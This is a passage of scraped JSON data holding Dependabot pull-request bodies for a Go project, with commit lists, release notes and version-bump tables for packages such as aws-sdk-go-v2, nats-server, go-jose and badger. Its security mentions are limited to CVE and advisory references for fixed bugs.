href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/aws/aws-sdk-go-v2/service/kinesis` from 1.38.0 to 1.43.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/f9f7a6bb124a1a7daffc65db40053d97678bd371\"\u003e\u003ccode\u003ef9f7a6b\u003c/code\u003e\u003c/a\u003e Release 2025-07-19\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/c74fb637eb68925187407dfe105ba10d855cecd2\"\u003e\u003ccode\u003ec74fb63\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/d09b46671d6af69a0e1e808c953e5db4a0e5790c\"\u003e\u003ccode\u003ed09b466\u003c/code\u003e\u003c/a\u003e generate aws-eusc (\u003ca href=\"https://redirect.github.com/aws/aws-sdk-go-v2/issues/3144\"\u003e#3144\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/45575dd69588782d4a0944c7b3911018613d67c7\"\u003e\u003ccode\u003e45575dd\u003c/code\u003e\u003c/a\u003e Release 2025-07-18\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/40f9e8b889dbda9e80b651bd55ea13a99d75d6cc\"\u003e\u003ccode\u003e40f9e8b\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/da30009f1debd56e812c58845b0a3ee4e6e1fb58\"\u003e\u003ccode\u003eda30009\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/78fe67fa8c7f08f490e1e04bbe3ce609bfc66fe6\"\u003e\u003ccode\u003e78fe67f\u003c/code\u003e\u003c/a\u003e Update API model\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/654c62d6b16cfa75aba17f6f2feb7d91d627186a\"\u003e\u003ccode\u003e654c62d\u003c/code\u003e\u003c/a\u003e Release 2025-07-17\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/47a74cd2a3a4464fbb1273db6ede81d2bb72bb1d\"\u003e\u003ccode\u003e47a74cd\u003c/code\u003e\u003c/a\u003e Regenerated Clients\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/aws/aws-sdk-go-v2/commit/bdd96b2ea29e4a7c96d0dbe1dc1a039bf85d090c\"\u003e\u003ccode\u003ebdd96b2\u003c/code\u003e\u003c/a\u003e Update endpoints model\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/aws/aws-sdk-go-v2/compare/v1.38.0...service/ivs/v1.43.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.4 to 2.12.6\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.6\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.8\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egolang.org/x/crypto v0.49.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7953\"\u003e#7953\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egithub.com/nats-io/jwt/v2 v2.8.1 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/sys v0.42.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7923\"\u003e#7923\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003egolang.org/x/time v0.15.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7923\"\u003e#7923\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixes CVE-2026-33216, CVE-2026-33217, CVE-2026-33215 (affecting systems using MQTT)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33246 (affects systems using leafnodes and service imports)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33218 (affects systems using leafnodes)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33219 (affects systems using WebSockets)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33223, CVE-2026-33222 (affects systems using JetStream)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33248 (affects systems using mutual TLS)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33247 (affects systems providing credentials on the command line)\u003c/li\u003e\n\u003cli\u003eFixes CVE-2026-33249 (affects systems where client publish permissions should be restricted)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThere is now a 1MB size limit on JWTs (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7960\"\u003e#7960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNon-WebSocket leafnode connections can now be proxied using HTTP CONNECT (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7781\"\u003e#7781\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003e$SYS.REQ.USER.INFO\u003c/code\u003e response now includes the friendly nametag of the account and/or user if known (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7973\"\u003e#7973\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe stream peer-remove command now accepts a peer ID as well as a server name (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7952\"\u003e#7952\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eProtocol compliance has been improved, including more error handling on invalid or malformed MQTT packets (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7933\"\u003e#7933\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/0e0639058e0d2d8fce0cc34941f9897da152ab32\"\u003e\u003ccode\u003e0e06390\u003c/code\u003e\u003c/a\u003e Release v2.12.6\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/f593d279dadfbe8228c532ef21216a2b4b84cf4b\"\u003e\u003ccode\u003ef593d27\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.6 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/61\"\u003e#61\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9f904de022cb441444dc14fc5b0251b140fa1dae\"\u003e\u003ccode\u003e9f904de\u003c/code\u003e\u003c/a\u003e [FIXED] Incomplete route pool on premature pong\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b5101921e22a149ea8e23e725d04bf0a85893a48\"\u003e\u003ccode\u003eb510192\u003c/code\u003e\u003c/a\u003e [FIXED] Avoid stalling read loop on leafnode ErrMinimumVersionRequired\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/53941c24a17589c51aff5235991e77357fec2a0c\"\u003e\u003ccode\u003e53941c2\u003c/code\u003e\u003c/a\u003e Report the account and user name in USER.INFO request\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/1ab002ab2b6b8057ca2897e60cf7a8b3194d3eed\"\u003e\u003ccode\u003e1ab002a\u003c/code\u003e\u003c/a\u003e [IMPROVED] Support HTTP proxy connection from leaf nodes also for TCP\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/8b6408239fedc487d20fb73626f77689c70c5766\"\u003e\u003ccode\u003e8b64082\u003c/code\u003e\u003c/a\u003e Release v2.12.6-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e6ab7e9541583932608965ff3d815e323b152e42\"\u003e\u003ccode\u003ee6ab7e9\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.6-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/59\"\u003e#59\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/9f4d96076caa4b4af2911b6391c04e35e76ea1b6\"\u003e\u003ccode\u003e9f4d960\u003c/code\u003e\u003c/a\u003e Make the deduplication window actually work for deduplication for sourcing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/304e18402b566a211c9721c9f39eebba65153574\"\u003e\u003ccode\u003e304e184\u003c/code\u003e\u003c/a\u003e Remove FIXME about auth callout nonce\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.4...v2.12.6\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/go-jose/go-jose/v4` from 4.1.3 to 4.1.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/go-jose/go-jose/releases\"\u003egithub.com/go-jose/go-jose/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.1.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cp\u003eFixes Panic in JWE decryption. See \u003ca href=\"https://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8\"\u003ehttps://github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/go-jose/go-jose/compare/v4.1.3...v4.1.4\"\u003ehttps://github.com/go-jose/go-jose/compare/v4.1.3...v4.1.4\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-jose/go-jose/commit/0e59876635f3dbf46d7b5e97b52bb75a3f96e7d9\"\u003e\u003ccode\u003e0e59876\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/go-jose/go-jose/commit/ddffdbcec8bdadea8e02a20bdf19239878228215\"\u003e\u003ccode\u003eddffdbc\u003c/code\u003e\u003c/a\u003e Bump actions/checkout from 5 to 6 (\u003ca href=\"https://redirect.github.com/go-jose/go-jose/issues/213\"\u003e#213\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/go-jose/go-jose/compare/v4.1.3...v4.1.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n\u003e **Note**\n\u003e Automatic rebases have been disabled on this pull request as it has been open for over 30 days.\n","html_url":"https://github.com/GoCodeAlone/modular/pull/100","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/GoCodeAlone%2Fmodular/issues/100","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/100/packages"}],"issue_packages":[{"old_version":"2.12.8","new_version":"2.14.2","update_type":"minor","path":null,"pr_created_at":"2026-06-30T00:48:45.000Z","version_change":"2.12.8 → 2.14.2","issue":{"uuid":"4772692149","node_id":"PR_kwDOSIBbIM7sA4uQ","number":18,"state":"open","title":"chore(deps): bump the go-dependencies group across 1 directory with 16 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-30T00:48:45.000Z","updated_at":"2026-06-30T00:48:48.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-dependencies","update_count":16,"packages":[{"name":"github.com/dgraph-io/badger/v4","old_version":"4.9.1","new_version":"4.9.2","repository_url":"https://github.com/dgraph-io/badger"},{"name":"github.com/jackc/pgx/v5","old_version":"5.9.2","new_version":"5.10.0","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.8","new_version":"2.14.2","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.51.0","new_version":"1.52.0","repository_url":"https://github.com/nats-io/nats.go"},{"name":"go.mongodb.org/mongo-driver/v2","old_version":"2.5.0","new_version":"2.7.0","repository_url":"https://github.com/mongodb/mongo-go-driver"},{"name":"google.golang.org/grpc","old_version":"1.80.0","new_version":"1.81.1","repository_url":"https://github.com/grpc/grpc-go"},{"name":"modernc.org/sqlite","old_version":"1.46.1","new_version":"1.53.0"},{"name":"github.com/aws/aws-sdk-go-v2","old_version":"1.41.7","new_version":"1.42.0","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/config","old_version":"1.32.17","new_version":"1.32.25","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/sqs","old_version":"1.42.27","new_version":"1.44.0","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/rabbitmq/amqp091-go","old_version":"1.11.0","new_version":"1.12.0","repository_url":"https://github.com/rabbitmq/amqp091-go"},{"name":"github.com/spf13/pflag","old_version":"1.0.9","new_version":"1.0.10","repository_url":"https://github.com/spf13/pflag"},{"name":"github.com/twmb/franz-go","old_version":"1.21.1","new_version":"1.21.3","repository_url":"https://github.com/twmb/franz-go"},{"name":"golang.org/x/sync","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/golang/sync"},{"name":"google.golang.org/api","old_version":"0.274.0","new_version":"0.286.0","repository_url":"https://github.com/googleapis/google-api-go-client"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-dependencies group with 15 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/dgraph-io/badger/v4](https://github.com/dgraph-io/badger) | `4.9.1` | `4.9.2` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.9.2` | `5.10.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.8` | `2.14.2` |\n| [github.com/nats-io/nats.go](https://github.com/nats-io/nats.go) | `1.51.0` | `1.52.0` |\n| [go.mongodb.org/mongo-driver/v2](https://github.com/mongodb/mongo-go-driver) | `2.5.0` | `2.7.0` |\n| [google.golang.org/grpc](https://github.com/grpc/grpc-go) | `1.80.0` | `1.81.1` |\n| [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) | `1.46.1` | `1.53.0` |\n| [github.com/aws/aws-sdk-go-v2](https://github.com/aws/aws-sdk-go-v2) | `1.41.7` | `1.42.0` |\n| [github.com/aws/aws-sdk-go-v2/config](https://github.com/aws/aws-sdk-go-v2) | `1.32.17` | `1.32.25` |\n| [github.com/aws/aws-sdk-go-v2/service/sqs](https://github.com/aws/aws-sdk-go-v2) | `1.42.27` | `1.44.0` |\n| [github.com/rabbitmq/amqp091-go](https://github.com/rabbitmq/amqp091-go) | `1.11.0` | `1.12.0` |\n| [github.com/spf13/pflag](https://github.com/spf13/pflag) | `1.0.9` | `1.0.10` |\n| [github.com/twmb/franz-go](https://github.com/twmb/franz-go) | `1.21.1` | `1.21.3` |\n| [golang.org/x/sync](https://github.com/golang/sync) | `0.20.0` | `0.21.0` |\n| [google.golang.org/api](https://github.com/googleapis/google-api-go-client) | `0.274.0` | `0.286.0` |\n\n\nUpdates `github.com/dgraph-io/badger/v4` from 4.9.1 to 4.9.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dgraph-io/badger/releases\"\u003egithub.com/dgraph-io/badger/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.9.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(core): remove unused event log by \u003ca href=\"https://github.com/xqqp\"\u003e\u003ccode\u003e@​xqqp\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2257\"\u003edgraph-io/badger#2257\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(cd): upload build artifacts to GitHub Release by \u003ca href=\"https://github.com/matthewmcneely\"\u003e\u003ccode\u003e@​matthewmcneely\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2273\"\u003edgraph-io/badger#2273\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent NPE on sync with inmemory DB by \u003ca href=\"https://github.com/alpe\"\u003e\u003ccode\u003e@​alpe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2264\"\u003edgraph-io/badger#2264\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: skip lsm lookup for expired entries during value log rewrite by \u003ca href=\"https://github.com/lamb007\"\u003e\u003ccode\u003e@​lamb007\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2269\"\u003edgraph-io/badger#2269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update jemalloc to 5.3.1 by \u003ca href=\"https://github.com/solracsf\"\u003e\u003ccode\u003e@​solracsf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2275\"\u003edgraph-io/badger#2275\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix : read only user should be able to open db on ReadOnly mode  by \u003ca href=\"https://github.com/Naelpuissant\"\u003e\u003ccode\u003e@​Naelpuissant\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2268\"\u003edgraph-io/badger#2268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compaction): clamp baseLevel to \u0026gt;=1 to prevent L0-\u0026gt;L0 panic on la… by \u003ca href=\"https://github.com/shiva-istari\"\u003e\u003ccode\u003e@​shiva-istari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2296\"\u003edgraph-io/badger#2296\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xqqp\"\u003e\u003ccode\u003e@​xqqp\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2257\"\u003edgraph-io/badger#2257\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alpe\"\u003e\u003ccode\u003e@​alpe\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2264\"\u003edgraph-io/badger#2264\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lamb007\"\u003e\u003ccode\u003e@​lamb007\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2269\"\u003edgraph-io/badger#2269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Naelpuissant\"\u003e\u003ccode\u003e@​Naelpuissant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2268\"\u003edgraph-io/badger#2268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shiva-istari\"\u003e\u003ccode\u003e@​shiva-istari\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2296\"\u003edgraph-io/badger#2296\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/dgraph-io/badger/compare/v4.9.1...v4.9.2\"\u003ehttps://github.com/dgraph-io/badger/compare/v4.9.1...v4.9.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dgraph-io/badger/blob/main/CHANGELOG.md\"\u003egithub.com/dgraph-io/badger/v4's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003cp\u003eAll notable changes to this project will be documented in this file.\u003c/p\u003e\n\u003cp\u003eThe format is based on \u003ca href=\"http://keepachangelog.com/en/1.0.0/\"\u003eKeep a Changelog\u003c/a\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/284cea00ccee8618d23f5e60246c4a40fd5e4bb1\"\u003e\u003ccode\u003e284cea0\u003c/code\u003e\u003c/a\u003e fix(compaction): clamp baseLevel to \u0026gt;=1 to prevent L0-\u0026gt;L0 panic on la… (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2296\"\u003e#2296\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/897f12fdb4631a9bf2aea347bde0a93d930d3001\"\u003e\u003ccode\u003e897f12f\u003c/code\u003e\u003c/a\u003e fix : read only user should be able to open db on ReadOnly mode  (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2268\"\u003e#2268\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/ca9e10bb8f10ca60cb047a946bf381a7039ce53d\"\u003e\u003ccode\u003eca9e10b\u003c/code\u003e\u003c/a\u003e enh: compile with jemalloc 5.3.1 (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2275\"\u003e#2275\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/7427d56925199bf23827e6f08d1c1ad119b1b4fc\"\u003e\u003ccode\u003e7427d56\u003c/code\u003e\u003c/a\u003e perf: skip lsm lookup for expired entries during value log rewrite (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2269\"\u003e#2269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/773a8356d9074cd0d56f5f80d773236c88aca494\"\u003e\u003ccode\u003e773a835\u003c/code\u003e\u003c/a\u003e fix: Prevent NPE on sync with inmemory DB (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2264\"\u003e#2264\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/abbb9a574e03c36e13f5f0fa62c74504c5e9ee05\"\u003e\u003ccode\u003eabbb9a5\u003c/code\u003e\u003c/a\u003e fix(cd): upload build artifacts to GitHub Release (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2273\"\u003e#2273\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 